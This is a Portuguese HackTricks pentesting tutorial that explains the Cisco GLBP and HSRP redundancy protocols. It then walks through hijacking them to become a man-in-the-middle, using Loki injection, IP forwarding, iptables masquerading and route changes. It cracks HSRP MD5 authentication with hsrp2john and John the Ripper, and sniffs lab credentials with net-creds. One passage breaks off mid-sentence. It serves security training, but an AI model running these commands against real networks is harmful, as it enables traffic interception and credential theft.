# Ataques GLBP e HSRP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Esta página foi copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\* ## Sequestro FHRP ### O que é FHRP? FHRP (Protocolo de Redundância do Primeiro Salto) é uma classe de protocolos de rede projetados para criar um sistema de roteamento redundante. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga. **Os engenheiros da Cisco Systems desenvolveram dois protocolos FHRP, GLBP e HSRP, que demonstrarei a seguir.** ### Protocolo GLBP **Desenvolvido pelos engenheiros da Cisco Systems.** Como o HSRP, este protocolo é implementado no topo da pilha de protocolos TCP/IP, por isso é usado o protocolo de camada de transporte UDP sob o número de porta 3222 para a tradução de informações de serviço. Os roteadores GLBP dentro do mesmo grupo lógico trocam pacotes "hello" especiais a cada 3 segundos, mas se um roteador GLBP dentro do mesmo grupo não receber um pacote hello de seu vizinho GLBP dentro de 10 segundos, ele o reconhece como "morto". No entanto, os valores do temporizador podem ser configurados dependendo das necessidades do administrador. ### A estrutura e mecânica do GLBP O GLBP fornece compartilhamento de carga para vários roteadores (gateways) usando um único endereço IP virtual e vários endereços MAC virtuais. Cada host é configurado com o mesmo endereço IP virtual e todos os roteadores no grupo virtual participam da transmissão de pacotes. Funciona de maneira muito diferente dos protocolos HSRP e VRRP porque usa verdadeiros mecanismos de balanceamento de carga, que descreverei abaixo: **Dependente do Host.** Um tipo de balanceamento de carga usado em uma rede onde há NAT. O Dependente do Host garante que o host receberá de volta o mesmo endereço MAC do dispositivo AVF que foi usado em um momento anterior, assim a NAT configurada para o host não será quebrada. **Round-Robin.** Neste modo, o dispositivo AVG distribui endereços MAC para os membros AVF alternadamente. Este é o mecanismo usado por padrão. **Round-robin baseado em peso**. Balanceamento de carga baseado em uma métrica especial "Peso". ### Funções no domínio GLBP e Terminologia **AVG (Gateway Virtual Ativo)** - o roteador com o papel principal é também responsável por distribuir endereços MAC para outros roteadores dentro do mesmo grupo GLBP. Uma espécie de "chefe" no domínio GLBP. O AVG informa aos outros roteadores como distribuir o tráfego, fornecendo endereços MAC quando uma solicitação ARP chega. Vale ressaltar que só pode haver um roteador AVG em um domínio GLBP, mas ele também pode ser um membro AVF. **AVF (Encaminhador Virtual Ativo)** - um roteador em um grupo GLBP que lida com o tráfego na rede. **Prioridade GLBP** - O valor de prioridade que determina qual roteador no grupo GLBP será o AVG. O valor padrão é 100 (a faixa de prioridade pode ser de 1 a 255). Pode ser definido manualmente, ou seja, o engenheiro de rede determina qual roteador será o "superior" e qual será o "escravo". Quanto maior a prioridade, maior a probabilidade de o roteador obter o papel de AVG. Normalmente, o papel de AVG é dado a roteadores mais poderosos. **Peso GLBP** - O valor do chamado Peso GLBP de um roteador em um grupo GLBP. O Peso GLBP define o nível de carga do roteador. Este valor é "flutuante" e pode variar dependendo da carga no canal físico (o mecanismo de Rastreamento de Objetos está envolvido), mas também pode ser configurado manualmente. **Endereço IP virtual GLBP** - o endereço IP virtual no domínio GLBP. Usado como endereço de gateway padrão para hosts legítimos. O GLBP usa o endereço IP de envio de grupo reservado **224.0.0.102** e o número de porta do protocolo de camada de transporte UDP **3222** para enviar e processar informações de serviço. Pacotes GLBP Hello especiais são enviados a cada **3 segundos**. Se o roteador GLBP não receber um pacote hello de um vizinho dentro de **10 segundos**, o vizinho será considerado "morto" e sairá do domínio GLBP. ### Mecanismo de ataque GLBP A técnica deste ataque de rede é impor seu dispositivo como o roteador principal **injetando um pacote GLBP malicioso com um valor de prioridade máximo.** **A exploração bem-sucedida leva a um ataque DoS ou MITM no qual você pode interceptar o tráfego dentro da rede, conduzir um redirecionamento ou causar um DoS ao ``` ~$ sudo ip link set eth0 promisc on ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` Selecione o roteador com endereço IP **10.10.100.100** e ative a opção **Obter IP**. Você também precisa gerar um **ARP Gratuito**.

A estrutura de uma injeção maliciosa GLBP

Como você pode ver, o roteador AVG agora está fingindo ser um sistema atacante. **O valor de prioridade é 255, o valor de peso é 255, ou seja, o máximo.** **Após realizar a injeção, precisamos criar um endereço IP secundário em nossa interface de rede com o valor do endereço IP virtual no domínio GLBP. Você também precisa definir uma máscara de 24 bits.** **Dessa forma, o tráfego legítimo será redirecionado de volta para nós, porque o endereço IP virtual usado no domínio GLBP é o endereço do gateway padrão para hosts:** ``` ~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 ``` Para ver não apenas o tráfego de entrada, mas também o tráfego de saída, precisamos de uma pequena regra para **SNAT (masquerading):** ``` ~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` Também precisamos remover a rota padrão em nossa máquina e escrever uma nova que passará pelo antigo roteador AVG (o endereço é 10.10.100.100). Mesmo que tenhamos sequestrado o papel do AVG do roteador, ele ainda poderá rotear o tráfego. ``` ~$ sudo route del default ~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` É isso, **agora somos o "homem do meio"!** Vou executar a ferramenta [**net-creds.py**](https://github.com/DanMcInerney/net-creds) para analisar o tráfego em busca de dados importantes. **Por exemplo, tráfego FTP não criptografado ou hashes NTLM.** ``` ~$ sudo python2 net-creds.py -i eth0 ``` Depois de executar a ferramenta, tentarei ler a compartilhamento SMB com o endereço IP **172.16.100.70**, que está atrás dos roteadores GLBP. ``` user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy ```
**Assim é como você pode interceptar o tráfego dentro da rede atacando domínios GLBP.** ### Sequestro de HSRP **HSRP (Hot Standby Router/Redundancy Protocol) —** é um protocolo proprietário da Cisco que permite a redundância do gateway de rede. A ideia geral é combinar vários roteadores físicos em um roteador lógico com um endereço IP comum. Este endereço do roteador virtual será atribuído à interface do roteador com a função de mestre, e este, por sua vez, cuidará do encaminhamento do tráfego. No domínio HSRP, a tarefa de lidar com todo o tráfego recai precisamente sobre o roteador com a função primária, ao contrário do GLBP, onde foi proposto o balanceamento de carga usando métricas especiais (prioridade e peso). ### Funções no domínio HSRP e terminologia **Roteador Ativo HSRP** — um dispositivo que age como um roteador virtual e fornece o encaminhamento do tráfego de redes de origem para redes de destino.\ **Roteador Standby HSRP** — um dispositivo que age como um roteador standby, aguardando a falha do roteador ativo. Quando o roteador ativo primário falha, o roteador standby assumirá o papel primário e assumirá as funções do roteador ativo.\ **Grupo HSRP** — um grupo de dispositivos que garante a operação e tolerância a falhas de um roteador lógico.\ **Endereço MAC HSRP** — o endereço MAC virtual do roteador lógico no domínio HSRP.\ **Endereço IP Virtual HSRP** — Este é um endereço IP virtual especial no grupo HSRP. Este endereço IP será o gateway padrão para os hosts finais, usado no próprio roteador lógico. ### Versões do protocolo HSRP O protocolo HSRP tem duas versões — HSRPv1 e HSRPv2. Eles diferem nos seguintes parâmetros: * **O número de grupos lógicos possíveis.** HSRPv1 pode ter até 255 grupos. HSRPv2 pode ter até 4096 grupos. * **Endereço IP multicast.** HSRPv1 usa o endereço IP **224.0.0.2** para enviar informações de serviço, e HSRPv2 usa **224.0.0.102**. * **Endereço MAC virtual.** HSRPv1 usa **00:00:0C:07:AC:XX** como seu endereço MAC virtual. HSRPv2 tem um endereço MAC virtual de **00:00:0C:9F:FX:XX** (onde XX é o número do grupo HSRP) HSRP usa o endereço IP reservado **224.0.0.2** ou **224.0.0.102** (dependendo da versão do HSRP) e o protocolo de camada de transporte UDP com o número de porta **1985** para transmitir e processar as informações de serviço. Pacotes HSRP Hello especiais são enviados **a cada 3 segundos.** Se o roteador HSRP não receber um pacote hello de um vizinho **dentro de 10 segundos**, o vizinho será considerado "morto" e sairá do domínio HSRP. ### Mecanismo de ataque HSRP **Este é exatamente o mesmo que o Sequestro GLBP. Precisamos realizar uma injeção maliciosa de HSRP com um valor de prioridade máxima de 255.** Isso nos permite sequestrar o papel do roteador ativo, abrindo a porta para um ataque **MITM**. Mas novamente, precisamos examinar as seguintes informações antes de realizar o ataque: * **O endereço IP virtual usado no domínio HSRP** * **A presença de autenticação** * **Valor das prioridades do roteador** Podemos extrair essas informações analisando o tráfego HSRP. **Vamos usar o Wireshark.** Como você pode ver na captura de tela, o processo HSRP envolve apenas dois roteadores com os endereços 10.10.100.100 e 10.10.100.200

Anúncios HSRP

Primeiro roteador HSRP

Segundo roteador HSRP

Com base na análise do tráfego HSRP, temos o seguinte: * **Foi detectada uma configuração incorreta dentro da configuração de prioridade. O roteador ativo é considerado um roteador HSRP com prioridade 200, ou seja, temos um vetor para o sequestro HSRP** * **o endereço IP virtual usado no domínio HSRP é 10.10.100.254** * **A autenticação MD5 é usada** Ter autenticação no domínio amarra nossas mãos, mas eu vou consertar isso. ### Bypass de autenticação HSRP Salve o dump de tráfego HSRP no formato **.pcap**, para que o exfiltrador possa extrair corretamente as hashes MD5 do dump. Vou usar o **hsrp2john.py** como exfiltrador: ``` ~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap ```

Hashes MD5 extraídas do dump de tráfego HSRP

Vou quebrar as hashes com o **John the Ripper**, especificando as próprias hashes como entrada. E com o parâmetro **--wordlist** vou especificar o caminho para o dicionário: ``` ~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute ```

Senha do domínio HSRP quebrada

Como resultado, temos uma chave para entrar no domínio HSRP - **endgame**. ### Injeção HSRP (Loki) Usarei o mesmo Loki para atacar o protocolo HSRP. Entre outras coisas, ele possui uma função de injeção de chave, que nos ajuda a contornar a autenticação. Anteriormente, na seção de sequestro HSRP, obtivemos todas as informações necessárias sobre o domínio HSRP. Iniciando o Loki.

Loki detectou anúncios HSRP

Não se esqueça de mudar para o modo promíscuo e permitir o roteamento de tráfego antes de realizar o ataque: ``` ~$ sudo ip link set eth0 promisc on ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` Selecione o roteador com o endereço **10.10.100.100** e uma prioridade de **200**. Como parâmetro **Secret**, **insira a senha quebrada** do domínio HSRP, gere um ARP Gratuito e selecione a opção **Get IP**.
**Como podemos ver, o roteador ativo agora é o nosso sistema de ataque. O valor de prioridade é 255.** **Após a injeção, precisamos criar um endereço IP secundário em nossa interface de rede com o valor do endereço IP virtual no domínio HSRP. Você também deve especificar uma máscara de 24 bits. Dessa forma, o tráfego legítimo será redirecionado para nós, porque o endereço IP virtual usado no domínio HSRP é o endereço do gateway padrão para os hosts.** ``` ~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 ``` Nós configuramos o conhecido NAT de origem (masquerading) para interceptar todo o tráfego: ``` ~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` Nós removemos a rota padrão da nossa máquina e escrevemos uma nova rota que passará pelo antigo roteador Ativo (cujo endereço é 10.10.100.100). Mesmo que tenhamos sequestrado o papel ativo do roteador, ele ainda será capaz de rotear o tráfego. ``` ~$ sudo route del default ~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` Agora somos o "homem do meio". Vamos executar o **net-creds.py**: ``` ~$ sudo python2 net-creds.py -i eth0 ``` Depois de executar a ferramenta, vou reproduzir uma tentativa de autenticação no servidor FTP em 172.16.100.140: ``` ~$ ftp 172.16.100.140 ```
Como resultado, obtemos credenciais do servidor FTP: **insomnia:betrayal** Assim é possível atacar o domínio HSRP e interceptar o tráfego. Basicamente, tudo é semelhante ao GLBP.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).